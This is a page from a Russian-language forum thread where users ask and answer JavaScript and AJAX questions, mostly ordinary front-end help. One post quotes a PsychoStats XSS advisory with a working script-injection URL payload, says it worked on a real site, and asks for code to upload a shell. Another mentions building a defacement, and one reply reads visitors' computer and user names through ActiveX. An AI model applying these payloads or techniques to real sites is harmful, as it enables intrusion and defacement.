PDA

Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ


Страницы : 1 [2] 3 4 5 6 7 8 9 10

NOmeR1
05.01.2008, 21:50
=\ нихрена не понял, но если ты имеешь ввиду периодически обновлять картинку, то вот: раз в 5 секунд.
<div id="bbb">
<img src="http://forum.antichat.ru/antichat/pic/logo.gif">
</div>
<script>
setTimeout("reload()", 5000);
function reload()
{
src = "http://forum.antichat.ru/antichat/pic/logo.gif";
div = document.getElementById('bbb');
pic = div.getElementsByTagName('img')[0];
pic.setAttribute("src", src);
}
</script>

Dimi4
06.01.2008, 11:38
У меня есть скрипт - таймер. И формочка, батон.
<HTML>
<HEAD>
<TITLE>Timer</TITLE>
</HEAD>
<Script Language="JavaScript">
<!-- Hiding

/* Script By Lefteris Haritou
http://www.geocities.com/~lef
Please Keep The Credit Above
No Copyrights but be fair
*/

function display(){
rtime=etime-ctime;
if (rtime>60)
m=parseInt(rtime/60);
else{
m=0;
}
s=parseInt(rtime-m*60);
if(s<10)
s="0"+s
document.forms.w1.w2.value="Часу залишилося: "+m+":"+s
window.setTimeout("checktime()",1000)
}

function settimes(){
alert("You have 20 minutes time !")
var time= new Date();
hours= time.getHours();
mins= time.getMinutes();
secs= time.getSeconds();
etime=hours*3600+mins*60+secs;
etime+=10; //You can change the value of 1200 according to how much time you wish to set the timer. Where 1200 is time in secs (1200 = 20 mins * 60 secs/min). Max time is 60 mins (3600secs)
checktime();
}

function checktime(){
var time= new Date();
hours= time.getHours();
mins= time.getMinutes();
secs= time.getSeconds();
ctime=hours*3600+mins*60+secs
if(ctime>=etime){
expired();
}
else
display();
}

function expired(){
alert("Time expired");

}

// Done hiding -->
</Script>
<BODY onLoad="settimes()">
<!-- following code added by server. PLEASE REMOVE -->
<!-- preceding code added by server. PLEASE REMOVE -->
<Center><H2>Look in the status bar. In 20 mins you will be forced to change page</H2>
</Center>

<form name="w1">
<input type="text" name="w2">
</form>
<form name=qw method=post action=./index1.php><input type=text name=an ><input type=submit name=ok></form>
</BODY>
</HTML>
Как сделать так, чтоб когда выходить время нажималась кнопка сабмит?
Почемуто неработает так:

document.forms.qw=submited;

Noiro
06.01.2008, 11:54
Почемуто неработает так:

document.forms.qw=submited;


Надо хотя-бы так :
document.forms.qw.submit();

Dimi4
06.01.2008, 15:50
Как реализовать такую картинку(в виде полосы), которая внизу странице всегда была.
Ну как у вовеб реклама,тока в низу.
А то я чет с их кодом не разберусь

astrologer
06.01.2008, 21:19
Как реализовать такую картинку(в виде полосы), которая внизу странице всегда была.
Ну как у вовеб реклама,тока в низу.
А то я чет с их кодом не разберусь
<style type="text/css">
img
{
position: fixed;
bottom: 0;
}
</style>
Для IE6: http://www.artlebedev.ru/tools/technogrette/html/fixed_in_msie/

geezer.code
07.01.2008, 15:06
хеллоу , всем.
Такая ситуация ...
-есть страничка .
-на ней список слов
-каждому слову соответствует звуковой файл.
- возле каждого слова кнопка.
-по нажатию любой кнопки нужно проиграть соответствующий звук.
! при этом страница не должна перегружаться. но возможен ajax.

файлы ogg | wav | mp3 любой из этих форматов.

какие будут предложения... что использовать?

спасибо за внимание.

dinar_007
07.01.2008, 20:29
хеллоу , всем.
Такая ситуация ...
-есть страничка .
-на ней список слов
-каждому слову соответствует звуковой файл.
- возле каждого слова кнопка.
-по нажатию любой кнопки нужно проиграть соответствующий звук.
! при этом страница не должна перегружаться. но возможен ajax.

файлы ogg | wav | mp3 любой из этих форматов.

какие будут предложения... что использовать?

спасибо за внимание.

Ajax расчитан на текстовые данные... Нельзя сделать то что ты хочешь...
Выход - потоковое видео только...
Ну или аудио...

astrologer
07.01.2008, 21:32
geezer.code, ajax не нужен.
Можно обойтись одним-единственным элементом <embed> и / или <object> / <bgsound>. Для упрощения лучше назначить ему идентификатор.

При нажатии на кнопку просто присваиваешь src вышеописанному элементу.
В идеале - имя файла будет совпадать со словом.
Если этого сделать нельзя, то используй дополнительные атрибуты (title, к примеру) и в них храни имя нужного файла.

.:EnoT:.
08.01.2008, 13:35
Всем привет, я опять за скриптом :)
В общем нужен скрипт для формы, чтобы при нажатии обрамлял выделенный текст bb-кодом. Из того что нашёл, всё работает некорректно, т.е. добавляет bb-код после выделенного текста. а мне нужно как на форуме, чтобы сразу))
Заранее спасибо!

NOmeR1
08.01.2008, 13:48
<script>
function bbcode(bb_start, bb_end)
{
document.forms.form.content.focus ();
var a = document.selection.createRange ();
var str = a.text;
a.text = bb_start + str + bb_end;
}
</script>
<form name='form'>
<input type='button' value="Жирный текст" onclick='bbcode("", "")'><br><br>
<textarea cols='50' rows='20' name='content'></textarea>
</form>

.:EnoT:.
08.01.2008, 14:29
не пашет =/

astrologer
08.01.2008, 15:32
Работает, просто FF не понимает document.selection - для Gecko-браузеров сработает window.getSelection()
javascript:'<pre>'+vbcode+'</pre>'

Digimortal
08.01.2008, 15:45
.:EnoT:.

function insert_text(open, close)
{
msgfield = (document.all) ? document.all.req_message : document.forms['post']['req_message'];

// IE support
if (document.selection && document.selection.createRange)
{
msgfield.focus();
sel = document.selection.createRange();
sel.text = open + sel.text + close;
msgfield.focus();
}

// Moz support
else if (msgfield.selectionStart || msgfield.selectionStart == '0')
{
var startPos = msgfield.selectionStart;
var endPos = msgfield.selectionEnd;

msgfield.value = msgfield.value.substring(0, startPos) + open + msgfield.value.substring(startPos, endPos) + close + msgfield.value.substring(endPos, msgfield.value.length);
msgfield.selectionStart = msgfield.selectionEnd = endPos + open.length + close.length;
msgfield.focus();
}

// Fallback support for other browsers
else
{
msgfield.value += open + close;
msgfield.focus();
}

hide_poped_menu();

return;
}

.:EnoT:.
08.01.2008, 21:38
astrologer
тот скрипт не в одном браузере не заработал к сожалению....
Digimortal
чёто тоже не пашет...может я что-то неправильно делаю...хотя вроде всё правильно...
вы уж простите за тупость, но в жаба-скриптом я вообще плохо знаком

cmdshell
08.01.2008, 21:59
2.:EnoT:. читай пост от NOmeR1
В опереm,IE работает.
в FF - нет
https://forum.antichat.ru/showpost.php?p=553010&postcount=275

astrologer
08.01.2008, 22:08
<html>
<head>

<script type="text/javascript">
<!--

function insert_text(open, close)
{
msgfield = (document.all) ? document.all.msg : document.forms['post']['msg'];

// IE support
if (document.selection && document.selection.createRange)
{
msgfield.focus();
sel = document.selection.createRange();
sel.text = open + sel.text + close;
msgfield.focus();
}

// Moz support
else if (msgfield.selectionStart || msgfield.selectionStart == '0')
{
var startPos = msgfield.selectionStart;
var endPos = msgfield.selectionEnd;

msgfield.value = msgfield.value.substring(0, startPos) + open + msgfield.value.substring(startPos, endPos) + close + msgfield.value.substring(endPos, msgfield.value.length);
msgfield.selectionStart = msgfield.selectionEnd = endPos + open.length + close.length;
msgfield.focus();
}

// Fallback support for other browsers
else
{
msgfield.value += open + close;
msgfield.focus();
}

}

//-->
</script>

<style type="text/css">
<!--

#msg { margin: 3px auto; }

//-->
</style>

</head>
<body>

<form id="post" name="post" method="POST">
<button type="button" onclick="insert_text('','')"><b>B</b></button>
<button type="button" onclick="insert_text('','')"><u>U</u></button>
<button type="button" onclick="insert_text('','')"><i>I</i></button>
<button type="button" onclick="insert_text('','')"><s>S</s></button><br />
<textarea id="msg" name="msg" cols="40" rows="10"></textarea><br />
<input name="send" type="submit" />
</form>

</body>
</html>
В коде вызывалась левая функция: hide_poped_menu();

cmdshell, разве я этого не сказал? ;)

.:EnoT:.
08.01.2008, 23:06
2.:EnoT:. читай пост от NOmeR1
В опереm,IE работает.
в FF - нет
https://forum.antichat.ru/showpost.php?p=553010&postcount=275
я же написал что не работает не в одном браузере.
astrologer
спасибо за помощь, но скрипт всё равно не пашет не в ие, не в фф, не в опере.
Придётся из Булки выдирать скрипты :)

Digimortal
09.01.2008, 00:01
.:EnoT:.

извеняй, но тот код, что я привел, не может не работать - я его использовал уже на нескольких сайтах.. ( кстати говоря, он вроде выдран из PunBB )..

возможно, ты не правильно его используешь.. astrologer вроде все правильно написал, как использовать - в опере все работает (и не только в ней, я полагаю)..

astrologer
09.01.2008, 00:37
.:EnoT:.,
Скрипт совсем ничего не делает, что ли?
А как ты проверяешь?

Я лично проверял конечный вариант http://forum.antichat.ru/showpost.php?p=553770&postcount=281 в четырёх браузерах: Opera 9.5, Firefox 2.0.*, IE 6, Safari 3.0.3.

Возможно, у тебя отключён JS.
Или какой-нибудь бешеный антивирус с настройками по максимуму.
Или же сохраняешь в .txt :)

Единственная проблема в коде Digimortal'a была в вызове не определённой функции, скорее всего, он её просто не заметил.

.:EnoT:.
09.01.2008, 00:48
astrologer
хех, щас тупо скопировал твой код в отдельную страничку...всё заработало как надо...а в моём коде не пашет почему-то....буду разбираться, хотя всё тоже самое..
Спасибо ещё раз за помощь

~EviL~
09.01.2008, 01:33
Парни, например, хочу сделать дефейс странички редиректом на другую (только например =).
Ну так вот, решил я сделать это с <iframe>..</iframe>. Когда пишу:
<iframe src="http://google.com" width=100% height=100%></iframe>
ничего не получается, а если так:
<iframe src="http://google.com" width=99% height=99%></iframe>
работает норм, только растягивается соответственно не на всю страницу. Подправляю так:
<body bgcolor="цвет"><iframe src="http://google.com" width=99% height=99%></iframe></body>
Но и тут облом - рамка плавающего фрейма мешает.
Пытаюсь проставить аттрибут для <iframe>-а border=0 и bordercolor="цвет" - не получается.
Получается, что нельзя ставить ширину и высоту в 100% для <iframe> и нельзя ставить
border и bordercolor="цвет" так же?
Может как-то по-другому можно сделать, без плавающего фрейма?

P.S. Неактуально, нашел: аттрибут frameborder=0 :)

astrologer
09.01.2008, 01:45
~EviL~, <iframe src="http://google.com" width="100%" height="100%" border="0" frameborder="0" framespacing="0" style="border:none;margin:0;padding:0;"></iframe>

XopoIII
09.01.2008, 17:59
я взял кусок из скрипта игры шашки(в js плохо понимаю), и пытаюсь переделать, все изменил что нужно было и поле стало размером 5*5, но проблема в том что если я удаляю в массиве Board хоть одну цифру то поле совсем пропадает...размеры борд изначально 8*8 поэтому там 64 параметра, а я изменил все до 25, но вот проблема с боард осталась...


<script>
function moveable_space(i,j) {
// calculates whether it is a gray (moveable)
// or black (non-moveable) space
return (((i%2)+j)%2 == 0);
}
function Coord(x,y) {
this.x = x;
this.y = y;
}
function coord(x,y) {
c = new Coord(x,y);
return c;
}


function preload() {
this.length = preload.arguments.length;
for (var i = 0; i < this.length; i++) {
this[i] = new Image();
this[i].src = preload.arguments[i];
}
}
var pics = new preload("black.gif","gray.gif",
"you1.gif","you2.gif","you1k.gif","you2k.gif",
"me1.gif","me2.gif","me1k.gif","me2k.gif");

var black = -1; // computer is black
var red = 1; // visitor is red
var square_dim = 25;//размер поля
var piece_toggled = false;
var my_turn = false;
var double_jump = false;
var comp_move = false;
var game_is_over = false;
var safe_from = safe_to = null;
var toggler = null;
var togglers = 0;

function Board() {
board = new Array();
for (var i=0;i<5; i++) {
board[i] = new Array();
for (var j=0;j<5;j++)
board[i][j] = Board.arguments[5*j+i];
}
board[-2] = new Array(); // prevents errors
board[-1] = new Array(); // prevents errors
board[8] = new Array(); // prevents errors
board[9] = new Array(); // prevents errors
}
var board;//НИЖЕ ПОЛЕ КОТОРОЕ НУЖНО ИЗМЕНИТЬ=(
Board(1, 0, 1, 0, 1, 0, 1, 0,
0, 1, 0, 1, 0, 1, 0, 1,
1, 0, 1, 0, 2, 0, 1, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
0,-1, 0,-1, 0,-1, 0,-1,
-1, 0,-1, 0,-2, 0,-1, 0,
0,-1, 0,-1, 0,-1, 0,-1);

document.write("<table border=0 cellspacing=0 cellpadding=0 width="+(square_dim*5+5)
+"<tr><td><img src='black.gif' width="+(square_dim*5+5)
+" height=4><br></td></tr>");
for(var j=0;j<5;j++) {
document.write("<tr><td><img src='black.gif' width=4 height="+square_dim+">");
for(var i=0;i<5;i++) {
if (moveable_space(i,j))
document.write("<a href='javascript:clicked("+i+","+j+")'>");
document.write("<img src='");
if (board[i][j]==2) document.write("you1.gif");
else if (board[i][j]==-2) document.write("me1.gif");
else if (moveable_space(i,j)) document.write("gray.gif");
else document.write("black.gif");
document.write("' width="+square_dim+" height="+square_dim
+" name='space"+i+""+j+"' border=0>");
if (moveable_space(i,j)) document.write("</a>");
}
document.write("<img src='black.gif' width=4 height="+square_dim+"></td></tr>");
}
document.write("<tr><td><img src='black.gif' width="+(square_dim*5+5)
+" height=4><br></td></tr></table><br>");
</script>

astrologer
09.01.2008, 20:30
Навскидку: в массиве Js запятая после последнего элемента не ставится.

Смотри ошибки в консоли Js.

XopoIII
10.01.2008, 08:37
все разобрался был косяк мой, поле рисуется и фигуры ставятся, подскажите пожаулйста, как сделать чтобы при нажатии на фигуру, показывались клетки доступные для передвижения?

XopoIII
18.01.2008, 02:21
помогите со скриптиком, хочу добавить строку для ввода ника, чтобы при отсылании сообщения перед ним показывался ник который был введен, и вопрос еще, а как сделать чтобы сообщения которые писались в текстарену сохранялись? довустим по 100 строк максимум в арене, и новые когда пишешь старые стирались? это через блокнот как то нужно делать?

astrologer
18.01.2008, 14:29
XopoIII, куда сообщения отсылаются?
Если это просто форма, не проще ли отсылать ник отдельным полем?

dinar_007
18.01.2008, 16:58
помогите со скриптиком, хочу добавить строку для ввода ника, чтобы при отсылании сообщения перед ним показывался ник который был введен, и вопрос еще, а как сделать чтобы сообщения которые писались в текстарену сохранялись? довустим по 100 строк максимум в арене, и новые когда пишешь старые стирались? это через блокнот как то нужно делать?
Когда же ты научишься грамотно задавать вопросы? Если не желаешь ничему учиться, то будь добр, задавай вопросы так, чтобы было понятно что к чему...

[qouote]хочу добавить строку для ввода ника, чтобы при отсылании сообщения перед ним показывался ник который был введен[/quote]

Тут ты что спрашиваешь? Я к сожалению не обладаю даром ясновидения, но предполагаю, что ты хочешь так...

Кому: Мария
Текст: привет, как дела...

Чтобы при отсылке было:
Мария, привет, как дела?

Если я тебя правильно понял, то тогда примерно так:

var s1 = "Мария"
var s2 = "привет, как дела?"
var result = s1 + ", " + s2

Ещё значение переменной s1 можно брать через document.getElementById(...) из инпута где этот ник будет или вписан, или каким-либо другим образом проассоциирован...

А это "довустим по 100 строк максимум в арене, и новые когда пишешь старые стирались? это через блокнот как то нужно делать?" я вообще не понял, что ты хочешь... Если с первым вопросом ещё как-то можно пофантазировать, то со вторым вообще непонятно... Задавай пожалуйста вопросы доходчиво, чтобы вопрос был понятен 7-милетнему ребёнку...

NOmeR1
20.01.2008, 00:10
Как сделать из html кода элемент? То есть вот например:
<script>
html = '<div id="text">...</div>';
</script>
Нужно вывести всё, что в диве что-то типо html.getElementById('text').innerHTML.

Helios
20.01.2008, 01:06
Как сделать из html кода элемент? То есть вот например:
<script>
html = '<div id="text">...</div>';
</script>
Нужно вывести всё, что в диве что-то типо html.getElementById('text').innerHTML.

<script>
html = '<div id="text">.ddd.ddd.</div>';

t = document.createElement('div');
t.innerHTML = html;
data = t.firstChild.innerHTML;
alert(data);
</script>

XopoIII
20.01.2008, 08:01
Задавай пожалуйста вопросы доходчиво, чтобы вопрос был понятен 7-милетнему ребёнку...

есть текст арена, и есть текстовое поле, когда я ввожу в текстовом поле текст и нажимаю отправить, он отображается в текст арене.
Вопросы:
1-нужно добавить еще одно текстовое поле, для ввода ника, чтобы при отправки сообщения, перед текстом в арене отображался введенный ник.
2-текст введенный в арену при обновлении экрана или при новом открытии страницы удаляется и арена пустая, мне нужно сделать так, чтобы введенный текст в арену сохранялся, и при обновлении или новом открытии страницы в арене были видны сообщения отправленные ранее.
Онлайн игра оллимп http://ollimp.ru

XJIOP
27.01.2008, 17:21
каким образом можно получать личные сообщения без перезагрузки страницы? вроде это аякс хз, видел на многих сайтах, окно само выскакивает и внем сообщение.

PiNzit
27.01.2008, 17:47
JS таймер через xHttpRequest через определенный промежуток времени запрашивает у сервера наличие новых сообщение, в случае наличия меняет dom структуру страницы добавля например надпись У ВАС 1 НОВОЕ СООБЩЕНИЕ
я недавно делал подобый алгоритм на xAjax (имхо идеальный вариант для связки Ajax + Php) вот ссылка https://forum.antichat.ru/showthread.php?p=564980

eXp
28.01.2008, 21:09
Есть кнопка с бэкграунд картинкой. При наведении мышкой на кнопку картинка меняется таким кодом:

document.getElementById('button').style = 'BackGround-position: center top;';

и обратно:

document.getElementById('button').style = 'BackGround-position: center bottom;';

Данный код работает в Опере, но в ИЕ выдает ошибку. Как заставить это работать в ие?

Joker-jar
28.01.2008, 21:20
сделай два стиля в css и меняй так

document.getElementById('button').className = '...'

astrologer
28.01.2008, 22:31
Стили через JS так менять нельзя.
CSS-свойству "background-position" соотвествует JS-аналог "backgroundPosition", и код будет примерно такой:
var node = document.getElementById('button');
node.style.backgroundPosition = 'center top';Оперировать классами, конечно, лучше, хотя это не всегда удобно.

eXp
28.01.2008, 23:01
astrologer, спасибо

Еще один вопрос:

Раньше, чтобы переместить форму я использовал такой код:
document.getElementById('div_куда_я_хочу_ форму_переместить').appendChild(do cument.форма);

Опять же проблема, в ие и опере работает, а в фф - нет(( Есть ли другие способы это сделать?

astrologer
29.01.2008, 17:49
А у меня работает:

<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<script type="text/javascript">
<!--

function move_form()
{
var node = document.getElementById('receiver'); // форум разбивает длинные строки...
node.appendChild(document.forms[0]);
}

//-->
</script>

<style type="text/css">
<!--

#receiver
{
border:black solid 1px;
padding: 5px;
background-color: #FAFAFA;
width: 300px;
height: 200px;
cursor: pointer;
cursor: hand;
}

input, textarea
{
margin-top: 5px;
}
//-->
</style>

</head>
<body>
<div id="receiver" onclick="move_form()">Click</div>

<form>
<textarea name="area" cols="25" rows="5"></textarea><br />
<input name="input" type="text" value="" />
<input name="send" type="submit" value="Отправить" />
</form>
</body>
</html>

eXp
29.01.2008, 23:49
спасибо) действительно, твой код работает) проблема оказалась в том, что я забыл закрыть </tr> и форма оказалась между <table> и </table> - из-за этого и не работало) теперь все гуд)

ps кто-нибудь поставьте ему + , а то я не могу)

Satman
30.01.2008, 16:24
Подскажите, пожалуйста, как сделать так,чтобы при копировании текста появлялась
надпись "При использовании материалов этого сайта ссылка обязательна"?
Нашел уйму приvеров работающих в IE ,но никак не могу сделать под Opera.

NOmeR1
30.01.2008, 16:44
<script>
html = 'text text text';
document.getElementById("text_here").innerHtml = html;
</script>
<div id="text_here"></div>
Парадокс =\
Что здесь не так?

Isis
30.01.2008, 17:04
Есть картинка
<img id="img1" src="gg.gif />
Как при нажатии на неё изменить картинку на gg2.gif причем только у этого id (img1)

Helios
30.01.2008, 17:30
onClick="document.getElementById('img1').src = 'gg2.gif';"

astrologer
30.01.2008, 18:01
<script>
html = 'text text text';
document.getElementById("text_here").innerHtml = html;
</script>
<div id="text_here"></div>
Парадокс =\
Что здесь не так?
innerHTML (регистрозависимо)
К тому же, когда исполняется скрипт, не факт, что блок уже существует

jentos
31.01.2008, 11:12
Люди помогите разобраться вот я нашел статью на одном из форумов:

Программа: PsychoStats 3.x
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на целевую систему. Уязвимость существует из-за недостаточной обработки входных данных сценариями awards.php, login.php, register.php, и weapons.php. Атакующий может выполнить произвольный сценарий в браузере жертвы в контексте безопасности уязвимого сайта.
Пример:
target.com/psychostats/weapons.php/>"><script>alert(1)</script>


Я ввел на одном из сайтов следующее http://ххх/psychostats/weapons.php/>"><script>alert(1)</script>
вылезло окошечко с натписью 1, я так понял это означает что все получилось и теоретически я могу написать
вместо alert(1) такую команду что бы залить шелл на сервак.

(если я правильно все понял) Помогите написать код для заливки шелла.

Piflit
31.01.2008, 11:45
шелл через js ты в лучшем случае зальешь только себе. почитай про xss. js выполняется на твоей стороне, а не на стороне сервера, т.е. повлиять на его работу через xss ты никак не сможешь

jentos
31.01.2008, 12:19
спасибо

cash$$$
31.01.2008, 19:01
Как сделать так чтобы все внешние сслыки на сайте октывались в новых окнах, но без уставновки _blank в каждой ссылке?

astrologer
31.01.2008, 19:53
cash$$$,
<script type="text/javascript">
<!-- код с xpoint'a

document.onclick = function(e)
{
e = e || event;
var t = e.target || e.srcElement;
while (t && t.nodeType == 1 && t.tagName.toLowerCase() != 'a')
t = t.parentNode;

if (t && t.nodeType == 1 && t.href.indexOf(location.host) == -1)
{
window.open(t.href,'…','…');
return false;
}
return true;
}

//-->
</script>

astrologer
01.02.2008, 19:45
VOLAND']Проблема. Посылается Ajax-запрос, а сервер возвращает русский текст, затем этот текст выводится на страничку. Но вместо русских символов получается что-то вроде "������� ������������". В чём проблема?В кодировке O_o

cash$$$
02.02.2008, 00:43
Вот два метода из обьекта, один вызывает другой. В FireFox работает, в IE нехочет, выводит alert(ajax_value.length) => 0 потом 'good8', и до 'good9' выдает ошибку.
Почему IE не нравится мой массив "ajax_value"?
this.send_ajax=function(name,mas){
alert('good8');

var str="";
for(item in mas){
alert(item);
str+="<input type=\"hidden\" name=\""+item+"\" value=\""+mas[item]+"\">";
}
alert('good9');
document.getElementById(name).innerHTML=str;

this.run_ajax(false);
document.forms[name].submit();
}
//Change Data
this.change_data=function(id){

var ajax_value= new Array();
ajax_value['id_block']=id;
ajax_value['date_from']=document.getElementById('room_date_from_'+id).val ue;
ajax_value['date_to']=document.getElementById('room_date_to_'+id).value ;
ajax_value['room_key']=document.getElementById('select_room_'+id).value;
alert(ajax_value.length);
this.send_ajax('form_room_ajax',ajax_value);
}

astrologer
02.02.2008, 05:57
VOLAND']Это понятно, а вот как это исправить?[x26]VOLAND, Сначала нужно узнать, в какой кодировке данные отправляются клиенту, какие загловки при этом(*до этого) посылаются, какая кодировка указана в мета-теге на странице, какие преобразования производятся и сделать соответствующие выводы, поскольку "как исправить" будет сильно зависеть от полученных результатов.

cash$$$, в JS так называемые ассоциативные массивы - это тоже объекты, у которых свойство length может быть не определено:
<script type="text/javascript">

var a = []; // new Array();
alert('#1 a.length: ' +a.length); // 0

a['first'] = 'something';
alert('#2 a.length: ' +a.length); // 0

a[0] = 'something else';
alert('#3 a.length: ' +a.length); // 1

</script>К тому же, лучше поменять "for(item in mas)" на "for(var i in mas)", чтобы переменная оставалась локальной.

cash$$$
03.02.2008, 19:12
как между javascript и iframe взаимодействовать?

например:

страница загружает фрэйм. На самой странице javascript код.

как мне через этот код обратиться к странице в фрейме?

astrologer
03.02.2008, 22:38
Например, так: <html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<script type="text/javascript">
<!--

function interact(nm)
{
var doc = frames[nm].document,
node = doc.createTextNode('Работает.');
doc.body.appendChild(node);
}

//-->
</script>

<style type="text/css">
<!--

iframe
{
border: gray solid 1px;
width: 400px;
height: 300px;
}

//-->
</style>
</head>
<body>
<iframe name="some" src="1.html"></iframe><br>
<input type="button" onclick="interact('some')" value="Взаимодействовать!" />
</body>
</html>

je0n
05.02.2008, 13:24
где я туплю?

function turn_on_the_light()
{
alert('');
var mmenu=document.getelementbyid("main_menu");
mmenu.style.bgcolor="red";

}
......
<td width="20%" height="80%" id="main_menu">
......
<tr><td align="center" onclick="turn_on_the_light()">Гостевая</td></tr>


алерт выскакивает, а цвет ячейки не меняется. где ошибка?

GreenBear
05.02.2008, 13:34
var mmenu=document.getElementById("main_menu");
mmenu.style.backgroundColor="red";

je0n
05.02.2008, 14:01
var mmenu=document.getElementById("main_menu");
mmenu.style.backgroundColor="red";

неа :( не работает
_______________
все разобрался.
просто main_menu.style..... (Без получения id)

k1b0rg
05.02.2008, 14:23
bgcolor не относится к стайлу, уберите style и все заработает

а backgroundColor относится

Jes
06.02.2008, 18:13
Можно ли узнать имя текущего пользователя pc (например 'User3123123', 'владалец' или root@computer) и передать его php скрипту?
(если да то как?)

VDShark
13.02.2008, 12:33
var row = new ActiveXObject("WScript.Network");
var compname = row.ComputerName;

Соответственно выведется имя компа.. если нужно имя юзера - row.UserName соответственно... Но этот способ использует актив-иксовский объект, следовательно делай выводы.

Architek86
20.02.2008, 16:40
Собственно, дана ссылка:
href="javascript://" onclick="window.open('сцылко','up2','scrollbars=0,top =0,left=0,resizable=0,width=800,height=310') || alert('Отключите блокировку всплывающих окон!'); return false;" title="титле">название ссылки</a>
Работает она так: при нажатии открывается новое упрощённое урезанное окно (не вкладка).
А вопрос вот какой...
Мне же надо сделать так, что бы при загрузке некой страницы (например, up1) происходило то же самое, как при нажатии на такую ссылку (т.е. появление нового упрощённого урезанного окна (не вкладки), т.е. up2), а предыдущая страница (т.е. up1) закрывалась бы. Как это сделать?

Isis
20.02.2008, 17:13
Так:
<a href="javascript://" onclick="self.close();window.open('сцылко','up1','scr ollbars=0,top=0,lef t=0,resizable=0,width=800,height=310') || alert('Отключите блокировку всплывающих окон!'); return false;" title="титле">название ссылки</a>

BitHack
21.02.2008, 21:28
Здрасти!
а не подскажите скрипт, что бы при каждом обновление страницы картинка менялась?
спасибо

astrologer
21.02.2008, 22:04
<script type="text/javascript">
document.write('<img src="http://www.example.com/images/' + parseInt(Math.random() * 5) + '.jpg">');
</script>

bul.666
21.02.2008, 22:15
Создай массив с картинками
Потом рандомно меняй идентификатор

.:EnoT:.
21.02.2008, 22:21
Парни, подскажите java-скрипт который без полного обновления страницы меняет картинку (нужно для капчи). Нажимаешь на ссылку и картинка меняется))

Всё руки не доходят учебник по java-скрипту почитать =//

astrologer
21.02.2008, 22:37
.:EnoT:., http://forum.antichat.ru/threadnav41870-23-10.html

Isis
22.02.2008, 02:09
astrologer, че совсем наркоман?
Он по твоему в какую тему написал?

astrologer
22.02.2008, 02:23
astrologer, че совсем наркоман?
Он по твоему в какую тему написал?
Это ссылка на страницу с готовым решением.

Isis
22.02.2008, 02:27
А вообще у меня лаг был... на 1 страницу ушло =\
Так и укажи http://forum.antichat.ru/showpost.php?p=538125&postcount=226

MafiaBoy3
24.02.2008, 15:51
Товарищи, подскажите как можно было бы вывести список самых популярных видеороликов. Я делаю свой видеохостинг

guest3297
24.02.2008, 16:06
как сделать кнопку которая бы копироавла в буфер обмена данные из поля type=text ?

cash$$$
24.02.2008, 16:19
<form method="GET" action="/cgi-bin/form_handler.cgi">
Введите Ваше имя: <input type="text" name="name">
<br>
<input type="submit" name="okbutton" value="OK">
</form>

bul.666
24.02.2008, 16:45
как сделать кнопку которая бы копироавла в буфер обмена данные из поля type=text ?


Проверял тока на Ie
<input type="text" name="pole">
<input type="button" onClick="pole.createTextRange().execCommand('Copy')" value="Send">

Isis
24.02.2008, 19:28
']как сделать кнопку которая бы копироавла в буфер обмена данные из поля type=text ?

Кнопке сделаешь событие onclick="copy('text');"

<script type="text/javascript">
function copy(text2copy)
{
if (window.clipboardData) {
window.clipboardData.setData("Text",text2copy);
} else {
var flashcopier = 'flashcopier';
if(!document.getElementById(flashcopier)) {
var divholder = document.createElement('div');
divholder.id = flashcopier;
document.body.appendChild(divholder);
}
document.getElementById(flashcopier).innerHTML = '';
text2copy = text2copy.replace(/\r\n/g, "\n").replace(/\n/g, "\r\n");
var divinfo = '<embed src="http://www.everfall.com/paste/_clipboard.swf" FlashVars="clipboard='+encodeURIComponent(text2copy)+'" width="0" height="0" type="application/x-shockwave-flash"></embed>';
document.getElementById(flashcopier).innerHTML = divinfo;
}
}</script>

По дефолту работает везде

Duh
26.02.2008, 14:40
Привет. Как мне вывести данные из радио кнопки на другую страничку при нажатии на кнопку(submit), через java?

krypt3r
26.02.2008, 15:05
Duh, хорош во всех темах флудить. Передавай данные из формы первой страницы методом гет, а в скрипте юзай

var query = location.search.substr (1);

А дальше сплить ее по амперсанду

Duh
26.02.2008, 15:19
Duh, хорош во всех темах флудить. Передавай данные из формы первой страницы методом гет, а в скрипте юзай

var query = location.search.substr (1);

А дальше сплить ее по амперсанду

дак гет это же вроде в пхп, а мне надо в java!!
мне тут приводили пример <input type="radio" name="xek" onclick="document.write('Question');" />
но мне надо чтоб при нажатии на кнопку!!Если можно объясните по понятней, а то я новичёк в этом деле

krypt3r
26.02.2008, 15:29
дак гет это же вроде в пхп, а мне надо в java!!

ггг, ржунимагу!
Код первой страницы

<html>
<body>
<form name="form1" action="/c.html" method="GET">
<input type="radio" name="rad" value="1" checked>1<br>
<input type="radio" name="rad" value="2">2<br>
<input type="radio" name="rad" value="3">3<br>
<input type="radio" name="rad" value="4">4<br>
<input type="radio" name="rad" value="5">5<br>
<input type="submit" name="sub" value="Send">
</form>
</body>
</html>

Код второй страницы

<html>
<head>
<script language="javascript">
function QueryString (key)
{
var qs = window.location.search;
qs = qs.substring(qs.indexOf('?') + 1);
var joinedPairs = qs.split('&');
for (var i=0; i < joinedPairs.length; i++)
{
var pairs = joinedPairs[i].split('=');
if(pairs[0] == key)
return pairs[1];
}
}
</script>
</head>
<body>
<script>
alert (QueryString ('rad'));
</script>
</body>
</html>

Duh
26.02.2008, 15:37
СПС, просто я в этом нихера не шпарю)))))))))))))))

Duh
26.02.2008, 15:46
Слушай, дак у тя пример на вывод цифр, а мне то надо текст вывести!

Duh
26.02.2008, 15:49
Даже если в value="1" поменять на value="текст" , потом выводиться всякая херь :%C2%FB%F1%F8%E5%E5 )))))

MafiaBoy3
27.02.2008, 13:56
У меня следующая проблема:

Как можно вывести список популярных роликов на главной странице?
Почему на youtube.com есть пхп-скрипт? Что он там делает?
И если ты или я делаю свой видеохостинг, то можно ли обойтись без пхп?

Isis
27.02.2008, 14:55
На жс нельзя..
Видеохостинг...Нет...пхп нужно полюбому

astrologer
27.02.2008, 16:16
Можно с использованием любого серверного языка. (PHP,Perl,Java,WhatEver...) JS тоже бывает серверным, значит можно.
Другое дело, что PHP лучше подходит для этой задачи.

Piflit
27.02.2008, 17:02
Можно с использованием любого серверного языка. (PHP,Perl,Java,WhatEver...) JS тоже бывает серверным, значит можно.
Другое дело, что PHP лучше подходит для этой задачи.
может ты путаешь js и java?

astrologer
27.02.2008, 17:03
может ты путаешь js и java?
